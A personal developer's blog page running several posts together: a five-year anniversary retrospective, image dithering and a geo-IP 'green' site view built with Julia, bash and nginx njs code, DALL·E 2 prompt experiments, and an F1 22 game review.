• 5 years of blog posts means 5 years of work experience and 5 years since leaving high-school and becoming an "adult."

Somehow, crippling social anxiety hasn't completely ruined my life like I thought it would as a teenager.

• Kalle Rovanperä won the WRC drivers title.

I honestly still can't believe it, and am honestly really happy about this (read the end of last years' anniversary post for context). I just think it's cool seeing someone my age win at at a sport the generally favours people with decades of experience over young/newcomers.

Also I think he's cute.

Anyway, what else is there?

Hmm, so that was everything I could remember. Uhhh, that's not that much. I'm sure there's been more, but it's hard for me to recall positive experiences unless the memory is directly provoked by something (as in, I'm directly reminded of it).

Instead, another thing I could do is talk about my favourite posts I've made over the past 5 years. Like a celebration of the growth of this blog or something. If anything it will be interesting to see what's changed over the years.

I'll be adding my favourite quote from each at the start, because it might be funny.

• Setting up a LAMP Stack on CentOS 7 (2018-01-22)

CentOS actually comes with Python2.7 by deafult, so if you are one of those neanderthals who still use 2.7 you can skip this step. For the rest of us intellectuals, you will need to install install IUS, which stands for Inline with Upstream Stable.

While nothing really all that special, I of course have to talk about the first post I ever wrote. It's actually required for every software engineer who's making a blog to have the first post describing how you made the blog.

This is a pretty dry document, which made it pretty hard to find a "favourite quote," as it literally is just describing steps to take to setup a software stack (and not a particularly good one at that).

If you're wondering why I was using such an archaic stack for this blog at the start, that's because I only created this blog to learn about the stack I was using at the job I just started.

I wouldn't really do something like this again, I prefer to have my free time spent doing things I actually want to do, and I'm confident enough in my abilities now to know I could just pick up any stack on the job.

I mean, I have 8 years of programming experience in dozens of language and framework paradigms. I've seen most enumerations of software stacks at this point and it's not that hard to switch between them any more.

Although, it is nice to see where the roots of this site were planted and how they've never really changed, where I still use this blog to learn about new things.

• Techwear Clothing and How To Live Out Your Dystopian Cyberpunk Dreams (2018-08-27)

[…] And just because I'm so nice, I'll even give you an idea of how many kidneys you'll have to sell in order to afford each style, although keep in mind that this is a very general idea from my own experience of kidney selling, and that you may find that a 1 kidney style can have items that would need 12 kidneys.

So all the posts before this are mostly of the same type as my first - the instructional/tutorial type. And this is the first time I tried something different. I wanted to be more entertaining while still being informative and start branching out of software.

After reading it again now, I'm kinda impressed that I didn't really cringe at anything I wrote. It did everything I wanted - be a source of information, and not boring as fuck. There weren't really many "jokes" but the prose wasn't Superdry,⁽²⁾ so that's a good start.

I liked rediscovering how I expressed the expensiveness of the clothes in terms of kidneys, which is something I would still probably do if I were to write it again. Good job me! I'm glad I got this much right the first time round.

Although, I do remember it took a while to write⁽³⁾ because I was putting more effort into research and editing to make sure I had a benchmark for future posts I wanted to write, so that probably has a lot to do with it.

• Let's Learn About Vim Script And The Ethics Of Capitalism (2019-05-12)

There is no ethical consumption under capitalism.

2019 was really when this blog started ramping up.

I was experimenting with what and how I wanted to write which gave me a lot of ideas for posts (some good, some not so). So it was at this time that I started properly understanding and developing my own process for writing.

I really like this post because it's such a stupid idea, implemented even stupidly.

It doesn't flow the way I would like, and some phrases are just awkward/cringe. I think if I really tried, I could probably have been able to somehow linked the horrors of Vim Script to Capitalism which would have made the structure less jarring. But maybe that sharpness gives it its' character, like it's enforcing how absurd the premise of this post is.

Either way, I'm glad I wrote it. And it was fun to read again.

• Why Vim? (2019-07-14)

Vim == Human language

Every other text editor/IDE == Annoying bird language

Another Vim post! I like this one because I can seriously feel the affection I have for this software through it and the words it's composed of. Fitting, since it's also a post about linguistics.

Yes, I feel affection for software.⁽⁴⁾ But when you've been using and studying it for over half your life, how could you not? I genuinely mean it when I say Vim is essentially a part of me now.

There have been a few times in my life where I have sat in front of a computer to do some work, opened Vim, and then for some reason, couldn't remember any commands. Actually it's more like, I didn't have the muscle memory for those commands any more - I knew what I had to do, but my hands would refuse.

Every single time that has happened to me, I felt like the world was ending and my life was over. Everything that once held value to me is now worthless. Not knowing how to use Vim could spell the end of my entire career, and the thing I've basically attached my self-worth to. Vim is programming to me. I've known Vim longer than I've known how to code. Could I enjoy writing if statements without the text editor I've used for over 10 years? I've never in my entire life used a mouse to navigate code without having to engage with some incredibly negative emotions, and the thought of having to start is a quick one-way street to despair.

It never lasts long enough to go into a full blown panic attack, it's just a temporary brain fart and I eventually start remembering again soon, but fuck it gets close.

I know that forgetting how to use Vim isn't something I really need to worry about. If at some point I do manage to forget over 10 years of muscle memory (that I also couldn't just re-learn), I probably have bigger issues going on with my brain.

I've recently made an Emacs config though, so let's see where that leads me.

• An Idiot Teaches You How To Use A Coffee Siphon (2019-07-29)

[…] If you did it correctly the water should be moving from the bottom part to the top part. This is because of physics I think.

God I love coffee siphons. I still don't know how or why heating up the bottom makes a vacuum, or how a vacuum forces the water to go to the top. I've never really cared to find out, I'd like to keep thinking of them as magic.

It's also interesting to see that I call my self an idiot in the title. This made me realise that self-deprecating jokes aren't a thing I do much any more, and have replaced them with over-exaggerating a self-inflated ego. I'm not sure why, but over the years I've tended to find the latter much funnier than the former.

Also, NO! I don't pet these as well ALRIGHT?! I know you were wondering if I did, you sick fuck! I'M A NORMAL HUMAN WHO ACTS IN NORMAL HUMAN WAYS.

These things get way to hot to be able to pet with my human flesh anyway.

• How To Subtly Include The Fact You Use Arch Linux Into Everyday Conversation (2019-09-06)

Now as a disclaimer, because I actually do have social anxiety, I don't talk to very many people so these conversations may not be entirely accurate to real life. However, I have read enough Tumblr threads to get the jist of how most people talk, so I think I know what I'm doing.

This one is just kinda funny. It provides zero information, so it has to completely rely on my funny brain to carry the post. Did it succeed? Yeah I think so, it's at least mildly amusing and something you might actually see on a satire site.

I use NixOS now btw.

• A Week Where I Check The Sources On Everything I Read (2020-01-29)

Last and most definitely least, “Sir Philip Pullman calls for 50p boycott over Oxford comma” from BBC on January 28, 2020. I couldn’t care less, although I am not a fan of language purism and it made me a bit annoyed so maybe I do care. Actually no, I don’t care! I had to look up who Sir Philip Pullman even was so why should I care about his opinion? It’s petty prescriptivist and misguided point-scoring from those who want to feel that they are vague ‘language experts’ but haven’t fully thought through the implications, origins, and lack of fundamental significance of what is just one of multiple conventions.

Alright, here we go.

It's now 2020. Twenty fucking twenty.

I found my voice in 2019 and so now I wanted to shout as loud as possible into this malformed abyss. And what better year to do it then in the year where I was stuck inside for months, and had a whole heap of free time.

At that time, this was the longest post I've ever written and was the first time I took over a few days to write, although that was mostly because of the premise.

This was written before COVID really hit the fan, so there was no news about that. It was also when I learnt about the term "ouiaboo," and definitely didn't get really offended because I'm NOT one of those, so I decided to use it everywhere ironically to show people how NOT that I was (AND STILL AREN'T).

The actual post was kind of interesting too.

• I Nerd Sniped Myself And Wasted A Day On This Useless Post (2020-03-12)

I find people who collect rubber ducks to be weirdos. I’m not doing this one.

This and the last post about checking sources could be considered "challenge" posts. Where I set myself a challenge and write about what I went through.

You might also notice that these two are the only "challenge" posts I've written.

That's because this post made me stop doing them.

I wouldn't say I hate this post or anything, it has it's moments (I think it starts getting good at the end). But it doesn't really achieve my main goals of the blog that are once again - to be informative and entertaining. Especially for the amount of work I had to put it for it.

So, I decided that "challenge" posts were too much effort for not enough reward.

But I think it's good to showcase your mistakes, and this is one of my least worst mistakes, so here it is.

• Which Language Has The Best Counting? (2020-03-25)

Finnish is actually an Uralic language instead of Indo-European. But I’m the one who created the rules, so I’m the one who can break them.

I can't really explain why I got so excited that I became aware of "a website that contains the numbering systems of over TWO HUNDRED languages." But I really did, and so I just had to make a post about it.

This is such a "me" post, something that only I would want to read. And for that it gets a 10/10.

My only regret is that I didn't make fun of the French more. I'm realising now that I probably need to do more to prove I'm not a ouib (I think that's how you shorten ouiaboo?)

• Where’s Bidoof? - A Review of Pokèmon Mystery Dungeon (2020-04-06)

I also thought “Animal Crossing: New Horizons” would make good content. I could even make reference to that time “Stardew Valley Made Me Suicidal” and see if this game would make me want to kill myself as well.

I swear to Bidoof that quote >.<

On one hand.

That's the funniest thing I've ever written.

On the other.

HOLY SHIT. WHAT THE FUCK.

That is not something I should be saying outside of these posts.

• An Actually Good Anti-Gravity Racing Game (2020-07-16)

Magnets man, how do they work? I have no idea, so that's probably why I think using a "mag-plate" is fine.

Ah yes, now this is something I've had on my mind for years. It should be no surprise to you that I think about video games. A lot.

This is an almost complete specification of vehicle dynamics for one of my dream games. Honest to Bidoof YEARS went into thinking about this. Trying to figure out how to make it believable, yet clearly fiction.

The post is actually only the surface of what I wanted, there was going to be a whole thing about a career mode and economics/business (since it's a pretty important part of motorsport in general), but I scrapped it to focus more on ships.

Then, much like an email you've tripled checked for typos, the moment I published it, I instantly thought of several things that were wrong with the entire concept. I won't tell you them, because I'm a mean bastard enby and I want you to read it yourself (the one I retroactively fixed much later was just the biggest issue I had that I couldn't stand to not "fix").

But I still like the post and think it's pretty interesting as a game design essay.

• An Anime Made Me Rethink My Entire View On Cognition (2020-11-07)

[…] so I have no idea why my teacher read a child's story about culinary genocide, accepted this even though it wasn't what she asked for, and then gave the child full marks.

This is one of my favourite posts I've ever written. It does exactly what I always aim for with this blog (you don't need me to tell you again right?).

I don't know if you've been reading these posts as well, but if you haven't, I seriously urge you to read this one.

I also like it because it shows that I'm a weeb which takes suspicion off me being a ouib (I enjoy how it's much easier to distinguish between these two words in a written format). Because everyone knows that you can't like two countries at once, as that is forbidden by the laws of quantum physics.

• Lisp Is The Best Programming Language Because It's The Only Programming Language (2021-03-24)

COOL AS FUCK.

I always enjoy writing about linguistics crossed with programming. Fun fact, when I first started learning a second language,⁽⁵⁾ I actually thought "I know like 7 programming languages; 1 natural language couldn't be that hard right?"

Boy was I wrong.

• Incoherent Ramblings On Computer Architecture (2021-05-06)

Have some imagination, use Lisp, and one day, maybe we'll be able to write Haskell without monads.

This is like the counting in different languages post, where I'm the only one who gives a shit about any of this.

Generally things like these aren't written to be all that entertaining because the information itself is entertainment to me so I don't feel any need to write jokes or funny bits. However, this can make them uninteresting and meandering to other people, which I can definitely see this being.

I had the time of my life researching this. And it doesn't show at all.

10/10.

• A Tour Of My Art Gallery (2021-07-25)

[…] if you look very closely at the top right, you'll see that the sun is wearing sunglasses. Such a profound political statement is another thing you'll see very often with my art.

Who knew making bullshit explanations for art was so fun?

This post almost made me regret skipping getting a 60k HECS debt for a university degree to instead get a high paying software engineering job which has allowed me to afford an apartment in the Sydney inner city.

I'm starting to thing that I should have gotten a liberal arts degree if it means I could have done this all day. But that's okay! We all make mistakes! (Note: I don't know what a liberal arts degree actually involves)

Earlier if you remember, I talked about how I don't do self-deprecating jokes any more in favour of writing like a narcissist who thinks too much of myself, because I find that more amusing for some reason. This post is probably the best example of that.

Also, finally remembered to make fun of the French, so this is easily a top 10 post.

• Technology Is Bad, Actually (2021-10-23)

I've basically just relegated crypto-currencies to complicated forms of gambling, but seriously, this really is me genuinely trying to find a use for them.

This is another one of my favourites. Not because it's written particularly well though. It's pretty rambly and unfocused. But I think it tells an important message.

As a software engineer, I can't help but feel at least a little responsible for the problems of this industry. I obviously have a better idea of the capabilities and consequences of technology than most people who aren't so entrenched in computers. So maybe I should be doing more to educate people about this.

All the lies, false promises, and naivety isn't going to help anyone.

• A Meta RFC For The Implementation Of RFCs (2022-02-22)

Some people do not like writing, or reading. Kids these days… smh.

As mentioned in the beginning of that post, "[this] is an RFC for implementing RFCs I wrote for work and thought it would be good enough to publish here."

It was actually a fun challenge to write a document that would be "digestible" in a workplace environment. I certainly couldn't just use the same style of writing I use here, but I still wanted "character" in my work (because apparently I regret not getting a liberal arts degree), so I had to morph my style into something more "professional."

I think I did a good job for a first attempt. I've made marked improvements with this style over the next RFCs I've drafted, and maybe I'll post them here as well eventually.

• When Your Housemates Are Too Loud While Playing Valorant (2022-04-14)

I'm just recording the ambient noises in my room, and sometimes screaming can be heard in the background (please ignore the fact that I'm then using that screaming to feed a machine learning model).

This is my favourite post I've ever written and the one I'm most proud of.

Again with posts like these, they tick all the boxes in the exact way I envisioned, and holy shit are these boxes ticked real fucking good.

• Informative? Literally goes through the entire process of using machine learning to solve a problem.
• Entertaining? Just the premise alone is funny as fuck.

This is the one blog post I've actually talked about to other people. It's a genuinely good story to tell, and it's pretty understandable to most people even if they aren't super aware of machine learning technology.

The "How To Avoid Talking To People" series I put it under also has a lot of potential for good content I feel. While this is the only post so far, I do have ideas for more, but as mentioned at the start - they just require a time commitment to work on.

So that's all of them. I didn't actually think I would have enough content to fill the space that a normal anniversary post would take,⁽⁶⁾ and in that case I was also planning to talk about how the comedy anime Bocchi The Rock! is somehow the most accurate portrayal of social anxiety I've ever seen in media. But I guess I can leave it for another time.

And you know, I mentioned earlier that I have trouble remembering positive experiences of the past. But when I was going through my archive of posts, I started remembering what I was feeling and thinking while writing most of them. With many of these, I could remember exactly where I was while writing them and what I was going through at the time, which was just kinda fun to relive these experiences, even if they are just me sitting at a computer and getting frustrated that I don't know how to use words.

So, since I can remember all this stuff, I guess means this blog is working? I know I said this blog is only supposed to do two things, but there is a third.

A place for me to remember myself by talking to you.

See you next year.

Epilogue

I think this is also the most I've ever mentioned having social anxiety in a blog post. Most of the time it's just a passing mention to it (unless it's a post dedicated to it), or I don't mention it as a direct reference. Why am I so comfortable with it now?

Maybe I'm finally coming to terms with it? Maybe Bocchi The Rock! has finally shown me the real comedy value in this mental illness and I now intend on milking this trait as long as possible? Maybe I'm starting to understand how to express myself? I've certainly gotten much better at writing these "feelings" posts since the first Stardew Valley one.

Maybe I should get a therapist to sort this stuff out instead of using my French teacher as immersion therapy by forcing me every week to face my second greatest fear; Talking to a woman. Poorly.

NO WAIT SHIT I SAID WHAT LANGUAGE IT IS. FUCK.

This place has been through, what, three rewrites now?⁽¹⁾ From static html served on Apache, to a Python web server with templating, to its' latest iteration - a static site generated with Svelte.

And this has got me thinking - this site has been growing in size every time I rewrite it, but all the functionality has pretty much been the same.

When I was uploading hand made HTML files to an Apache server, the average size was 20 KB. Now the average size of a page on this blog is probably around 1 MB depending on how many images there are - a 50x increase. And yet this iteration is no more readable than the last, or the last any more readable than the one before that. The only new functionality is the footnotes which could have easily been added in the previous iterations while keeping their small page size.

However, to be fair to me, I feel like I've actually done a good job of trying to minimise the extraneous garbage bloating the modern web - JavaScript. As I'm writing this, apart from one, no page on this blog requires JS and is completely functional without it. Things like the footnotes (which are responsive to screen size changes⁽²⁾) required a little bit of effort to get built server side, but have allowed me to provide you with an (almost) completely JS free reading experience.

That basically just leaves me with two reasons for why this blog has increased in size by so much:

• The custom font.
• Uncompressed images.

The font is non-negotiable, I'm not getting rid of the font. I know you 100 KB evangelists hate custom fonts and believe every website should just use the boring stock fonts that your browser comes with, and to be honest, I would normally agree with you. However, consider this counter-argument if you will:

I PAID ALMOST AUD$600 FOR THIS THING. I'M GOING TO FUCKING USE IT. I'M NOT GETTING RID OF IT. FUCK OFF.

So that just leaves us with the images.

The obvious answer to this problem is to not use images.

No. I don't pay for the images, so I'm not particularly angry that you would even suggest that, but I do think the images are pretty important for my posts. I'm also talking about those header images that are completely unnecessary in most cases - I like them, and I think they add character to this barren and decrepit void of a website.

The next obvious answer is to compress the images, as I haven't been doing that because I'm very lazy.

I'm okay with this, in fact, I think I can do you one better :)

All the images on this blog are now, compressed, re-sized, greyscaled, and "dithered". Everything except that last one shouldn't really need an explanation, so let's talk about dithering.

Dithering is a retro way of reducing the colours in an image for use on old hardware or in print. It removes colours, and strategically place dots to emulate the missing shades.

This blog post by Surma is a really good introduction to it. Here's the Julia code I used to dither my normal images.

using DitherPunk
using FileIO
using Images

percentage_scale = 0.7

function dither_recursive(dir::String)
    for i in readdir(dir)
        path = string(dir, "/", i)

        if isdir(path)
            dither_recursive(path)
        else
            new_path = string(dir, "/../dither/", i)

            if isfile(new_path)
                continue
            end

            img_gray = convert.(Gray, load(path))
            new_size = trunc.(Int, size(img_gray) .* percentage_scale)
            new_img =  imresize(dither(img_gray, Bayer()), new_size)
            save(new_path, new_img)

            @info "dithered image" new_path
        end
    end
end

function main(args::Vector{String})
    for dir in args
        dither_recursive(dir)
    end
end

main(ARGS)

I've also been think about ways to make this site more "eco-friendly". Keeping the size of the site as low as possible is the best way to do this, but I think there are more interesting things I could attempt.

It would cool to run this place on a solar-powered server I run in my apartment, since this place doesn't particularly need a 99% uptime, but I'm a little cautious of having my home Internet "opened" up to everyone, even if it's limited to port 443.

If I can find a way to do this while still feeling secure, it's definitely going to be done. But for now, I'll need to think of something else.

Something I've really liked the style of is how the online magazine "Branch" is designed to be "Demand Responsive" and to adapt to and reflect the physical infrastructure of the Internet and the energy behind it.

Utilising data from a grid intensity API and the user’s location, Branch has different interface designs that are shown dependent on the current energy demand and fossil fuels on the grid where the user is.

• Designing Branch: Sustainable Interaction Design Principles

I enjoy the idea of doing something like this, but one thing I don't like about how Branch has done it is their use of a "grid intensity API and the user’s location".

This makes JS practically a requirement to work, which as we all know by now, just bloats the website and should be unnecessary.

Australia is somewhat infamous for being behind on renewables, so I'm always on the "high grid intensity view" which should be providing me with the lowest amount of data necessary to make the site work.

When grid demand is high and less renewables are being used we reverse the way media content is shown by emphasising the alt text instead. The user can click to reveal the content if they wish, but it is not automatically loaded for them, this also creates the need to craft alt texts to make them much more descriptive than they may usually be.

However, the size of that page is 2.26 MB. Using WordPress also certainly isn't helping.

So I wanted to copy them, but do it my way. And that's by shoving as much of the functionality to the server side and have all the work done during the build process instead of client side.

This is actually a lot harder than it sounds - how am I supposed to change the content of this blog when it's a static site?

I would need something server side that could edit the content of the static page as it's being requested. This could be done with an ExpressJS server or something else like that, but those are too bloated for me - I run this site on a cheap VPS hosted in Finland⁽³⁾ and would prefer to avoid wasting any resources that don't need to be used.

Instead, I looked for a pure nginx solution. Something like njs, which is a subset of JavaScript that can be used in nginx modules. It uses its own engine that converts njs code into bytecode, since V8 and friends are not fast enough.

I also want to avoid having to call an API on every request to get grid intensity data, because this would make the requests too slow and unresponsive. So I wanted download all the data at the start of the build process and just read from a file instead. Unfortunately, I haven't found a service that lets me download everything, as most can only do specific countries, so I've just made a list of the countries that have good carbon intensity.

Basically, I just went on to Electricity Maps, clicked on all the countries that were green, and put them in the following list:

• France
• New Zealand
• Finland
• Sweden
• Norway
• Iceland
• Austria
• Brazil
• Guatemala
• Costa Rica

I've made it so that anyone coming from an IP address that is assigned to one of these countries will see the "low grid intensity view". I'll be checking, the map every now and again to see if the list needs updating, as it would be kinda cool to see it grow (hopefully).

But there's still some problems with this approach - how do I know what country an IP comes from if I refuse to use any third party APIs?

Well… I just cache every IP address in a file (or at least the subnet ranges), and read that obviously. There's a nice website, iptoasn.com that let's us do this. It's not every IP range, but it's probably enough.⁽⁴⁾

Here's the script to download it:

#!/bin/bash
set -euo pipefail
IFS=$'\n\t'

cd "$(dirname "$0")"

ip2dec() {
    local a b c d
    IFS=. read -r a b c d <<< "$1"
    echo -n "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))"
}

curl --compressed https://iptoasn.com/data/ip2country-v4.tsv.gz -o ip2country-v4.tsv.gz
gunzip ip2country-v4.tsv.gz

countries=(
    "FR" # France
    "NZ" # New Zealand
    "FI" # Finland
    "SE" # Sweden
    "NO" # Norway
    "IS" # Iceland
    "AT" # Austria
    "BR" # Brazil
    "GU" # Guatemala
    "CR" # Costa Rica
)

for c in ${countries[@]}; do
    grep $c ip2country-v4.tsv >> ip.tsv
done

tr '\t' ',' < ip.tsv > ip.csv

(while IFS=, read -r a b c; do ip2dec $a; echo -n ,; ip2dec $b; echo -n ,; echo $c; done < ip.csv) > ip-dec.csv

rm -f ip.tsv ip2country-v4.tsv

This converts the IP addresses into decimal integers so that it's easier to figure out if a user's IP is in the range.

The next problem, was probably the most annoying thing I've ever had to deal with and required the most stupid hack to fix.

Okay, so, in my njs script I have some logic to change the HTML of the request to add in the CSS overrides for the "low grid intensity view". The issue is that this would change the length of the request, but wouldn't change the Content-Length header, so things would get cut off.

Shouldn't be a big deal right? Just get the length of the CSS I'm injecting and add it to the Content-Length.

DOESN'T WORK. NGINX WAS STILL USING THE OLD Content-Length.

I could change the values of EVERY OTHER HEADER except the ONE thing making the entire site break.

This means I had to make the "high grid intensity view" the exact same size at the low view, but with a few things changed. Which is now why this line of code is in the base HTML file:

.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{}

This has to be the exact same size as the CSS I'm replacing it with, any less and things get cut off, any more and the browser won't finish the request since it doesn't think it's done.

Update 2023-01-17: This got fixed in a later nginx version, I don't have to do this anymore.

Anyway, here is the njs module for reference if you were curious:

const fs = require('fs');

const GREEN_CSS = "[removed for space reasons]";

const ip2int = (ip: string) =>
  ip.split('.').reduce((ipInt, octet) => (ipInt<<8) + parseInt(octet, 10), 0) >>> 0;

const geoIp = (r: NginxHTTPRequest, data: string, flags: NginxHTTPSendBufferOptions): void => {
  if (!r.uri.endsWith(".html") || r.uri.includes("/spe_")) {
    r.sendBuffer(data, flags);
    r.done();
    return;
  }

  const ip = r.headersIn['X-Real-IP'] ? r.headersIn['X-Real-IP'] : r.remoteAddress;
  const dec = ip2int(ip).toString();

  const lines = fs.readFileSync('/opt/db/ip-dec.csv').toString().split('\n');
  const green = lines.some((l: string) => {
    const [start, end] = l.split(',');
    return ((dec >= start) && (dec <= end));
  });

  const cookies = r.headersIn["Cookie"]?.split(";") || [];

  if (
    !cookies.some(x => x.trim() === "debug-black=yeppers") &&
    (green || cookies.some(x => x.trim() === "debug-green=yeppers"))
  ) {
    data = data.replace(/.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.*/, GREEN_CSS);
    data = data.replace(/\/img\/dither/g, "/img/normal");
  }

  r.sendBuffer(data, flags);
  r.done();
};

export default { geoIp };

Since the green version of this site is currently only available in 10 countries, and you might want to see it for yourself, I added a debug cookie option to do that. Just create a cookie with the key-value of debug-green=yeppers and do a hard reload of the page (to refresh the cache).

If you don't want to do that, or are viewing this from an archiving service that can't run the njs module, here's a small screenshot to help satiate your curiosity :)

I normally try to draw something at least somewhat topical to what the post is about, but sometimes I simply do not have the time, patience, and ability to actually draw what I plan.⁽¹⁾

Thankfully, the hot new thing in AI-world is an AI to generate art for you! So today, we're going to see if DALL·E 2 has what it takes to replace my amazing art skills.

First, what do I want drawn? Most of my usual drawings are pretty meta, so maybe something like this?

DALL-E 2 generating an image of itself

Well… that's not exactly what I wanted, but I don't really know what I expected either way.⁽²⁾

I think it would be better with something more specific.

A cute robot called DALL-E 2 generating an image of itself

Ah huh, okay, slightly better, but still not what I want.

Apparently, adding more descriptive words and stylistic modifiers helps a lot. Text is also rarely anything but gibberish, so I'm going to have to give up on calling the robot DALL-E 2.

3d render of a cute robot using a computer to draw images, digital art, artstation

Wow, that actually looks quite nice.

I don't really want a 3d render though, I just put it in to see what it would do. I would actually prefer the image to look like my usual drawings instead.

cartoon outline of a cute robot using a computer to draw images on a black background, digital art, artstation

Fuck that's good. That's basically already what I want.

But I think we can go even further, let's try a little more prompt engineering and see what we can come up with.

cartoon outline of a cute robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation

cartoon coloured outline of a cute robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation, trending, 4k

cartoon coloured outline of a cute happy french robot using a computer to draw images on a black background, digital art, vibrant, cheerful, artstation, trending, 4k

I thought making the robot French would make something funny, but I guess DALL·E thinks the robot's nationality doesn't change anything :(

Anyway, I'm starting to think that I'm going overboard with the descriptions. Let's tone it down a bit.

cartoon outline of a cute happy robot using a computer to draw images on a black background

cartoon outline of a cute happy robot using a computer and drawing tablet to draw images on a black background

So I guess you've already seen what image I actually used for this post, but as a reward for making this far into the post, I'll tell you what the prompt I used was.

After we look at these other prompts I put in for fun.

cartoon outline of a 2022 formula one car from behind on a black background

This is absolutely not a 2022 F1 car from behind, which I specifically wanted so I could see if DALL·E could draw that beautiful diffuser they come with. This looks more like the behind of a mid 2000's F1 car, which is nowhere near as cool.

anime drawing of a rally car driving on a dirt road, artstation

cyberpunk rally car jumping over an aeroplane in front of a windmill

I have at least 50 more car related ideas, but just for you I'll move onto something else :)

sydney in 2077 as a cyberpunk dystopian megacity, cgsociety artstation

I was expecting an image with the Sydney Harbour Bridge/Opera House or something like that to make sure you knew it was Sydney, but this actually very vaguely resembles a part of Darling Harbour, specifically the southern most side with the A4 motorway to the left, which I think is really neat. We can also kind of pretend the big round building is the IMAX that used to be there.

impressionist pikachu in eighteenth century europe climbing castle walls

kirby eating cake

THAT ISN'T KIRBY?!?!?11

every overused visual aesthetic being sucked into a black hole of unoriginality, cgsociety artstation 4k

corgi puppy walking in a forest next to a waterfall, low angle, digital art, artstation

I'm starting to run out of credits, so the next one will be my last.⁽³⁾

Colorless green ideas sleep furiously

haha get fked chomsky

I must say, coming up with these prompts is actually pretty fun. Prompt engineering is harder that I thought it was, but even though I didn't put as much work into each prompt as a better "prompt engineer" would, I think they still turned out pretty good.

So that's it then. Now you can finally get that reward I promised you several images ago, I'll tell you what prompt I used for this post.

Here it is! Get ready for your mind to be blown!

cartoon outline of a cute happy french robot using a computer to draw images on a black background

I'm sorry, I couldn't help myself. The robot was French this whole time :(

I simply do not fucking understand who they made these vehicle physics for.

The cars in the game understeer so much it's unbelievable. Look at all the esports setups with their crazy settings that would be horrible in real life because they're trying so hard to get the car to be able to actually rotate. None of these cars actually feel like they have any downforce, they understeer in low speed corners and they understeer in high speed corners.

Understeer-y car physics are usually made for casual players because they're easier to control (like Gran Turisimo, Forza, etc) and more friendly to drive with a controller. So this is supposed to be an easy to pick up and play game right?

NOPE. LET'S TALK ABOUT THE FUCKN TRACTION (OR THE COMPLETE AND UTTER LACK OF IT).

F1 cars do not use traction control, so I don't use traction control in this game which means I'd expect to be required to do some throttle control to manage the torque given to the wheels. What I don't expect is to have FORMULA ONE CARS, THE "PINNACLE OF MOTORSPORT ENGINEERING", WHEELSPIN IN THIRD FUCKING GEAR.

Lando Norris even said so himself that the cars don't have enough traction and medium traction control felt like the most accurate setting.

What the fuck is wrong with the traction in this game? Why did they make it like this???? This is not realistic, nor does it make it accessible for casuals.

Yes, a casual player could just put on traction control and be fine. I'd agree with that expect for the fact that traction control in this game feels FUCKING HORRIBLE. The car becomes incredibly sluggish and feels completely unresponsive to your inputs.

These are sim-cade racing games that take the worst aspects of arcade and simulation physics. It's too hard (and the option to makes it easier, makes the car feel like a boat) for the casuals who prefer arcade racers, and too vague/unrealistic for the try-hard sim racers.

So why have I bought these games every year for the last 7 years?

Well, that should be pretty obvious. Codemasters has the F1 license, so they're the only one that makes F1 games and I want to play F1 games.

I'm lucky that I play on PC so I actually have a few alternatives to the official games. Things like the RaceSimStudio Formula Hybrid mods in Assetto Corsa, the Formula Hybrid cars in Automobolilista 2, and of course, the Mercedes W12 in iRacing.

These are all great, and in terms of car handling and general physics, each are a thousand times better than the official games. They're all different in terms how arcade/sim like they are, but what matters is that they're all believable, and they're all sort of what I'd expect an F1 car to feel like in real life.

But none of them are the F1 games. They don't give you the F1 "experience" that only an official game could.

I'm no try-hard sim racer, so the "immersion" of pretending to be an F1 driver is actually pretty important for me. Going through all the official tracks in the season, having to deal with things like the safety car, and all the rules and regulations.

It's these things that the official games are "good"⁽¹⁾ at, making a believable F1 race weekend in everything but driving physics.

Whenever I see news of a new F1 game, I look forward to the new features they add to the external immersion of the game, because they do add them. I liked the car development feature, and MyTeam and team management in general is pretty cool.

So, what did they add this year?

Wardrobes and supercars.

I have nothing to say about these and I wouldn't want to talk about them if I did. Is there anything else?

There is! And this single feature has officially made F1 22 the first F1 game I can confidently say that I like.

Virtual reality.

This almost makes me not give a shit that the physics are terrible because HOLY SHIT I'M IN THE FUCKING CAR.

You know those awesome helmet cam shots we sometimes get in real life F1? This is that, but I'M doing it.

I have to look in the mirrors.⁽²⁾ I have to search for the apex.

The sense of speed is amazing, and for the first time I think I actually understand how fast these cars are. Elevation changes actually look and feel like elevation changes. Not having a HUD to tell you everything about what's happening, and needing to actually look down at the steering wheel to see what little information it does give is also a cool experience.

Between having to drive, constantly looking around and being alert of other cars, and managing little settings from the wheel, it gave me a serious appreciation for what the real life drivers actually have to do.

All the alternatives I talked about have a VR mode, that's true. But it's VR added with the external immersive qualities of the official games that honestly makes it quite something.

However, it wouldn't be a Codemasters game if it didn't have serious issues and once again it seems like they should be called Bugmasters instead.

Judging from what I've seen elsewhere, I'm actually quite lucky the VR works for me as well as it does. I've seen people complain of terrible lag and head tracking, or it being very blurry.

The only issue I had was that having my pedals connected directly to the PC would destroy the framerate, but there was a workaround and it got fixed about a week after launch.

My biggest complaint with the game now (apart from the physics, I don't actually think Codemasters will ever make them better), is the AI. They're just so inconsistent from race to race. One race I'll be several tenths a lap faster than my closet competitors, next race I'll be several tenths slower.

It's really annoying trying to find the correct AI level. There is a setting for "adaptive AI" which changes the AI difficulty on the fly according to how you're doing in a race, but this is only available if you use the "casual" settings mode which would take me out of the options to turn some driving assists off.

So now, I'm hoping that since Codemasters is getting the WRC license next year, we'll finally get a WRC game⁽³⁾ with VR :) I mean DiRT Rally 2.0 had VR and that game was pretty good, if they just made DR2: WRC Edition I'd honestly be pretty happy.

And you know what else I want to have VR? The upcoming F1 manager game.

Holy shit that would be the dream. If there's anything I like more than pretending to drive cars, it's pretending to engineer, build, and manage them.

The fastest submission averaged at 55 GiB/s, and included a comment that said it "[…] is future-proofed where possible to be able to run faster if the relevant processor bottleneck – L2 cache write speed – is ever removed."

Being able to write code where your bottleneck is L2 cache is basically fucking wizardry to me.

